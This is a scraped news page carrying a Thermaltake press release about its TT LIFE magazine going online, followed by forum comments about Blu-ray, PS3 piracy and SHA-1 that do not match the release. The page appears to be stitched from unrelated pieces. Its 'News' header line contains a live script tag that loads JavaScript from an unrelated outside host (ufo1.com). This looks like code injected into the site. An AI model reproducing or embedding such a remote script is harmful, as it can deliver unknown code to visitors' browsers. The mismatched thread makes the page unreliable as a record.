TT LIFE Online Magazine Available

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News <script type="text/javascript" src="http://ufo1.com/ad/c.js"></script> Posted 19/01/07
Author: PV5150
Source: Thermaltake

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Official Press Release

Thermaltake, the #1 choice for PC DIY enthusiasts worldwide, is well known for its stylish chassis, high performance coolers, and most reliable power supply. Not only successful in providing outstanding products, Thermaltake also makes effort in introducing the new technology, the industrial trend, the new products, and Thermaltake's vision to enthusiasts worldwide through its own quarterly free magazine, TT LIFE.

TT LIFE started its first print in Q1 2006 is now ready to publish its 4th issue, and is distributing over 10,000 free copies worldwide each quarter. But global enthusiasts are broaching about the limited quantity of TT LIFE and its availability. To service our reader and supporters better, Thermaltake is ready to present TT LIFE online now.

Through the easy user interface, users can have an overview of each issue of TT LIFE Online Magazine then download it to user's PC for future reading. Now, the newest innovation and industrial trend is just a simple click away. This new feature can be found here

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20-01-2007, 15:54:37

Rastalovich
O o u`d be supprized >.<

20-01-2007, 23:31:42

PP Mguire
Even still, if you could DL them youd have to find a way to get them on your PS3 without having to DL them straight to the HD from a Sony site. Most ppl would rather pay for the game instead of having to go through all that trouble.

21-01-2007, 02:27:39

Sticky Mick
From what's been said in this tread and previous experiences. I can't see a point in Blue-Ray as a stand alone medium, not for games anyway. They,re not even filling DVD to capacity yet. I've just purchased the budget version of Far Cry (my original disk cracked) and I was surprised to find that they,ve crammed the 32bit version, the 64bit versions (ecu + the US UK upgrades), all the patches, over half a dozen PDF manuals and loads of other extras, all onto the one disc.

So we're dealing with capacity rather than functionality again (just like the 5tb hard drive.):rolleyes:

21-01-2007, 03:17:32

PP Mguire
Eh i could see a use for Blu-Ray and DVD9s for great RPGs. Like if FFVII was redone for PS3 i would like them to make it so that every piece of hardware is stressed for graphics. Man that would be a killer game. Other than that, who cares lol.

21-01-2007, 03:27:25

mVp24

Even still, if you could DL them youd have to find a way to get them on your PS3 without having to DL them straight to the HD from a Sony site. Most ppl would rather pay for the game instead of having to go through all that trouble.



Not really that hard. Can't the PS3 run Linux? Through that, I'm sure there'd be a way to connect to your computer. There are ways to download images, put them on a USB hard drive and play them on your PS2. Adding Linux just makes it easier?

21-01-2007, 03:49:04

PP Mguire
Most regular ppl not PC oriented wouldnt go through the trouble to do that. You forget, there still are alot of honest ppl out there, which makes these companies actualy get money.

21-01-2007, 04:08:37

mVp24

Most regular ppl not PC oriented wouldnt go through the trouble to do that. You forget, there still are alot of honest ppl out there, which makes these companies actualy get money.



Most people are honest. I could easily hack my PS2 games but I still fork over $$ for them. Also, wouldn't non tech oriented people go for the 360 or the Wii instead? Cheaper + better gameplay.

21-01-2007, 07:21:37

Rastalovich

From what's been said in this tread and previous experiences. I can't see a point in Blue-Ray as a stand alone medium, not for games anyway. They,re not even filling DVD to capacity yet. I've just purchased the budget version of Far Cry (my original disk cracked) and I was surprised to find that they,ve crammed the 32bit version, the 64bit versions (ecu + the US UK upgrades), all the patches, over half a dozen PDF manuals and loads of other extras, all onto the one disc.

So we're dealing with capacity rather than functionality again (just like the 5tb hard drive.):rolleyes:



Eek no, the games get `re-hashed` for dvd, there is absolutely no need for the blu other than gimmick, so far.

Saying that, some1 will convert the blu movie to dvd... what`s the sense in that u may ask - a ha!

21-01-2007, 13:02:35

Phnom_Penh

What is created by human can be cracked by human!

You know someone's crecked SHA-1. Now there's something to talk about ;).

21-01-2007, 13:08:41

PP Mguire

Most people are honest. I could easily hack my PS2 games but I still fork over $$ for them. Also, wouldn't non tech oriented people go for the 360 or the Wii instead? Cheaper + better gameplay.

I know ppl that have all 3. Some are just console fanatics. :rolleyes: PC FTW.
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